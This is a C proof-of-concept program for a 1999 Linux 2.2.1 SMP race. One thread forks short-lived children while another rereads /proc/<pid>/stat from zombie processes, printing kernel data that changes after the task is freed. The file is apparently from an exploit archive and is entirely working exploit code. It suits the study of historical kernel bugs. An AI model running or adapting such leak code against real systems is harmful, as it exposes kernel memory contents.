/*
 * Copyright (C) 1999  Andrea Arcangeli
 * Linux-2.2.1 /proc SMP race sniffer
 */

#include <stdio.h>
#include <fcntl.h>
#include <sched.h>
#include <pthread.h>

static volatile int pid = -1;
static int prog_length;
static pthread_mutex_t pid_lock = PTHREAD_MUTEX_INITIALIZER;
static pthread_mutex_t zombie_lock = PTHREAD_MUTEX_INITIALIZER;

static int get_current_pid(void)
{
  int __pid;
  pthread_mutex_lock(&pid_lock);
  __pid = pid;
  pthread_mutex_unlock(&pid_lock);
  return __pid;
}

static void * sniffer(void *dummy)
{
  int cache_pid = -1, fd = -1;
  char str[50], buf[2000], sample[2000];

  pthread_mutex_lock(&zombie_lock);
  pthread_mutex_unlock(&zombie_lock);

  for (;;)
    {
      int length_cmp;
      if (get_current_pid() != cache_pid)
        {
          pthread_mutex_lock(&zombie_lock);
          cache_pid = pid;
          snprintf(str, 50, "/proc/%d/stat", cache_pid);
          if (fd > 0)
            close(fd);
          fd = open(str, O_RDONLY|O_NONBLOCK);
          if (fd > 0)
            {
              int length;
              length = read(fd, &buf, 2000);
              if (length > 0)
                {
                  length_cmp = length;
                  memcpy(sample, buf, length);
                  sample[length-1] = 0;
                }
            }
          pthread_mutex_unlock(&zombie_lock);
        }

      if (fd > 0)
        {
          int length;

          lseek(fd, 0, SEEK_SET);
          length = read(fd, &buf, 200);
          buf[length-1] = 0;
          if (length >= length_cmp && memcmp(buf, sample,
                                             length_cmp))
            printf("length %d, pid %d\n"
                   "original data: %s\n"
                   "modifyed data: %s\n",
                   length, cache_pid, sample, buf);
        }
    }
}

static int is_zombie(int __pid)
{
  char str[50], state;
  FILE * status;
  snprintf(str, 50, "/proc/%d/status", __pid);
  status = fopen(str, "r");
  if (!status)
    {
      perror("open");
      exit(2);
    }
  fscanf(status, "%*s\t%*s\nState:\t%c", &state);
  fclose(status);
  if (state != 'Z')
    return 0;
  return 1;
}

int main(int argc, char *argv[])
{
  int dummy;
  pthread_t task_struct_sniffer;

  pthread_mutex_lock(&zombie_lock);

  if (pthread_create(&task_struct_sniffer, NULL, sniffer, NULL))
    {
      perror("pthread_create");
      exit(1);
    }

  for (;;)
    {
      int __pid = fork();
      if (!__pid)
        _exit(0);

      while (!is_zombie(__pid));

      pthread_mutex_lock(&pid_lock);
      pid = __pid;
      pthread_mutex_unlock(&pid_lock);

      pthread_mutex_unlock(&zombie_lock);
      usleep(1);
      wait(&dummy);
      pthread_mutex_lock(&zombie_lock);
    }
  pthread_mutex_unlock(&zombie_lock);
}
/*                    www.hack.co.za              [2000]*/